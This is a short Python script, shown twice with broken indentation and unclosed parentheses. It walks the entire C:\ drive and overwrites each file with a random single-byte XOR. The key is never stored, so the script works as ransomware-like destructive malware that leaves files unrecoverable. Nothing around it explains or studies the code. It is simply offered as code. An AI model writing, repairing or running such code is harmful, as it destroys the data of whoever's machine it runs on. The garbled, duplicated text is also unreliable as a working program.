import os
import random
def encrypt_file(file_path):
key = random.randint(1, 255)
encrypted_data = bytearray()
with open(file_path, 'rb'
as file:
data = bytearray(file.read())
for byte in data:
encrypted_byte = byte ^ key
encrypted_data.append(encrypted_byte)
with open(file_path, 'wb'
as file:
file.write(encrypted_data)
def encrypt_directory(directory_path):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path)
encrypt_directory('C:\\')
import random
def encrypt_file(file_path):
key = random.randint(1, 255)
encrypted_data = bytearray()
with open(file_path, 'rb'
as file:data = bytearray(file.read())
for byte in data:
encrypted_byte = byte ^ key
encrypted_data.append(encrypted_byte)
with open(file_path, 'wb'
as file:file.write(encrypted_data)
def encrypt_directory(directory_path):
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path)
encrypt_directory('C:\\')